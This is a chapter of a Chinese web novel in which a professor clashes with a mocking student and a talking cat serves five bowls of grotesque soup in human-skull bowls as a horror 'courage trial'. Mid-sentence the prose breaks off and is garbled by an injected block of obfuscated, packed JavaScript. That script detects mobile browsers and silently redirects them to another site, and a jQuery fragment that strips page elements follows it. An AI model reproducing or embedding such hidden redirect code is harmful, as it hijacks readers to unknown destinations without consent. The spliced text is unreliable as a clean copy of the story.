15. 中国结(15)

作品:《无限非遗学院

    官酉的心脏猛地一缩,指尖仿佛被那滑腻肤感灼烫了一下,下意识地想要蜷缩起来。


    理智在他的脑子里咆哮:放手!立刻放手!他是章著金!不是章知白!


    可那只手却像有自己的想法一样,依旧死死扣住章著金的手腕,指节因用力而绷紧发白。


    又是这样!


    官酉的心沉甸甸地坠了下去,后背瞬间爬上一层薄薄的冷汗。


    在面对章著金主动选择危险时,他那保护“章知白及其关联物”的本能,又一次以压倒性的姿态,蛮横地碾过了理智的分析和判断。


    众目睽睽之下,他无法轻易放手,更说不出任何安抚或解释的话语。


    沉默在两人之间蔓延,如同绷紧的弦,顷刻即断。


    挣扎了片刻,他才极其艰难地从喉间挤出几个字:“你疯了吗”


    话辅一出口,后续便显得顺理成章了起来:“每把椅子对应着什么,你又不清楚了?”


    章著金嘴角极其细微地向上扯动了一下,那点弧度里混杂着几乎难以察觉的恶意和一丝……被挑起的兴味。


    他非但没有挣脱,反而顺着官酉的钳制,微微俯身,主动将距离拉得更近。


    冰冷的气息如实质般拂过官酉的面颊。


    “教授啊……”


    他的声音压得更低了,像柔软的羽毛搔刮着最敏感的神经,带着一种刻意蛊惑的沙哑。


    “您的手心……在出汗呢。”


    “为了谁……这么紧张?”


    官酉的瞳孔骤然收缩,细微得几乎无法捕捉。


    章著金的目光始终注视着官酉,嘴角的弧度在缓慢上扬,逐渐形成一个完美的弧度:“是在担心那个……可能和我共享过某些‘独特’体验的人?”


    “你……!”


    官酉的呼吸猛地一窒,扣住对方手腕的力道下意识地加重了几分。


    一股混杂着强烈担忧与被戳穿的怒火在胸腔里激烈冲撞。


    他几乎是立刻就想甩开这烫手山芋,但那只手依旧像焊死在对方腕骨上一样,纹丝不动。


    官酉清晰地意识到,是那股保护“章知白相关”的深层本能,在蛮横地掌控着局面。


    要想让这该死的手放开,似乎只有一个方法——让章著金安全地坐到那把木椅上。


    他强迫自己定了定神,声音带着命令式的冷硬,试图掩盖那丝不易察觉的急切:“去坐那把木椅。”


    “那是你最初的选择,它不会拒绝你落座。”


    “呵。”


    章著金发出一声轻不可闻、却充满了嘲弄意味的气音。


    他的眼底闪过一丝稍纵即逝的讥诮。


    紧接着,他的手腕以一种超越人体极限的柔韧角度倏然旋转、滑脱,动作流畅得如同没有骨节的软体动物。


    官酉只觉得指间一空,那滑腻的触感瞬间消失。


    “教授啊……”


    章著金已经安坐于那张布满暗红色撕裂口的肉色真皮沙发之中。


    他慢条斯理地整理着被官酉攥出褶皱的衣袖,左腿自然的搭在右腿上,腰背挺直,慢条斯理的整理着被弄的有些凌乱的衣袖。


    他抬起眼,望向僵在原地的官酉,那双桃花眼重新盈满了那种慵懒的、近乎无害的笑意,仿佛刚才的对峙从未发生。


    “您知道的。”


    他拖长了调子,声音陡然拔高,带着一种浮夸的、戏谑的腔调,清晰地回荡在寂静的大厅里。


    “硬要把一个清醒的人按倒,那叫动粗。可硬要把一个自得其乐待着的人揪起来……”


    他微微歪头,笑的更加灿烂了:“那可就是……您不讲规矩了哦!”


    “……”


    官酉伸出的手还停留在半空,所有未出口的质问都堵在喉咙深处,指间只剩下挥之不去的冰冷滑腻的错觉。


    他仿佛被无形的钉子钉在了原地,只能眼睁睁看着章著金在那危险的座椅上安之若素。


    片刻后,他几不可闻地叹了口气。


    “好吧。”


    他走向那把看似安全的木椅,坐了下去,目光却未曾离开沙发上的章著金。


    “他曾经告诉过我,要尊重每个个体的选择。毕竟这是他们自己为自己选定的人生脚本。”


    “现在,我把这句话送给你。”


    “记住你自己的选择。”


    “别后悔。”


    几乎在官酉落座的瞬间——


    “啪!”


    橘猫高高扬起的尾巴朝桌面鞭下,裹挟着令人头皮发麻的破空声,狠狠抽击在伤痕累累的桌面上。


    力道之大,震得桌腿都发出不堪重负的呻吟。


    没有预兆,没有缓冲。


    刺目的白光瞬间从桌面的裂痕处炸开,带着灼烧般的刺痛感,瞬间吞噬了所有人的视野。


    官酉下意识的调整了下眼镜,镜片变白的瞬间,刺目的光芒骤然消散。


    他清楚的看见,桌面中央,五只碗和这大厅里面曾经出现过的一切一样,凭空出现了。


    官酉忍不住腹诽:大厅是属哆啦A梦的吗?这么能变?


    刺目的白光终于散开,所有人挪开了遮目的手,而后倒吸一口凉气。


    桌面中央的五只碗,不是温润的骨瓷,也不是粗粝的石碗。


    而是……某种生物的颅骨。


    碗身呈现出一种惨白与暗黄交织的骨质,布满了细密的的皲裂纹路。


    碗口边缘粗糙且不规则的,仿佛是被暴力捶打撕扯开,残留着丝丝缕缕的骨质茬口。


    官酉的瞳孔一缩,一股强烈的寒意瞬间攥住了他的心脏。


    这是人骨。


    不是模型,更不是道具。


    是真正剥离自人体的颅骨,被粗暴地改造为容器。


    他猛地抬眼,锐利的目光如探针般扫过桌边每一个学员的脸孔。


    所有人都死死的盯着那五只碗,面上的表情精彩纷呈,有凝重,有警惕,有压抑的恐惧。


    却唯独没有那种面对同类骸骨被亵渎时,应有的、最本能的震惊与愤怒。


    这不应该!


    无论在何时何地,人体承载着不可亵渎的尊严。


    每一根骨骼,每一寸组织,都应该被好好的对待,而不是被如此粗暴地挖出、切削,沦为盛放污秽的器皿!


    而身为同类,都应该对这种行为存在本能的愤怒,而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919450|172298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不是表现的如此“麻木”!


    “嗒。”


    橘猫尾巴那蓬松的末梢轻轻点在桌面木纹之上,一声轻响,脆得反常。


    仿佛按下了某个无形的开关。


    下一秒,五只惨白的颅骨碗口,凭空蒸腾起缕缕氤氲的雾气。


    那雾气并非纯粹的白色,而是混杂着模糊的灰与暗黄,带着一种沉闷的、带着腥气的湿热感,黏糊糊的沾上每个人的眼睫,模糊掉视线。


    而就在视线被模糊掉的刹那——


    碗底,无声无息地“生长”出液体。


    没有源头,没有涟漪,只是静默地向上漫溢,直至填满碗的边缘。


    官酉的视线穿过透明镜片平静的看着眼前这诡异的一幕,甚至仔细观察起每一碗来。


    从左边数,第一碗的汤水粘稠浓厚,颜色暗红近黑,如同凝固在伤口分泌物。


    碗里有无数细密浑浊的颗粒在汤液中沉沉浮浮。


    第二碗的汤水呈污浊的黑棕色,表面漂浮着一层如同重金属汽油污在烈日下的五彩斑斓的虹光。


    碗中央漂浮着几个拳头大小、惨白且凝固成块的斑块组织,正散发着油脂腐败气息。


    第三碗的汤水呈现出一种死气沉沉的灰白浑浊色。


    它的表面并非平滑,而是凝结出一层薄薄的半透明胶膜。


    在热气的熏蒸下,不断的收缩扭曲扩张,变化出万千种不规则的形状。


    第四碗的汤体呈稀薄的、带着点粉色的浑浊液体。


    汤面漂浮着大片大片粘稠、暗红色的絮状沉淀物,不断下沉又被涌动托起。


    第五碗的汤色如同半凝固的、暗紫红色的浓稠血浆凝胶。


    碗的内壁布满了蛛网般虬结、粗壮、搏动起伏的青黑色网络,半沉进汤里,冒出一点黑乎乎的尖头。


    橘猫优雅地收回尾巴,坐在桌沿之上,琥珀色的眼睛扫过众人的面孔,右耳轻轻一颤,抖落下两簇浅浅的绒毛。


    “汤已煮沸。”橘猫缓缓开口,声音平滑,听不出一点起伏。


    “一共五碗。两人一组,自由分配。”


    “钥匙……就黏附在碗底。”


    “当你们分喝完这一碗汤时,钥匙和房间号便会出现,届时可以按照房间号各自回去休息。”


    它停顿了一瞬,眼眸沉沉的扫过每个人的面孔,湿漉漉的鼻尖轻轻一耸。


    “用汤时……会发生一些有趣的‘小插曲’。”


    “有人会胡言乱语,有人会忍不住在自己身上留下点小记号,还有人……可能会看到一些……特别怀念的老朋友。”


    “但是请不用担心——”它的声音陡然拔高,尾巴尖愉快地摆动了一下,“试胆大会的宗旨是挑战胆量,而非收割性命。不会出现伤亡……至少,不会立刻出现。”


    这补充非但没有带来安慰,反而像一层更厚的寒冰,覆盖在每个人的心口。


    不会立刻出现?那之后呢?


    橘猫的目光最终落在官酉身上,又轻飘飘地滑过靠在真皮沙发里、嘴角噙着看戏般笑意的章著金。


    “现在,”它缓缓点头,“请各位学员及老师……选择并享用你们的试胆之饮。”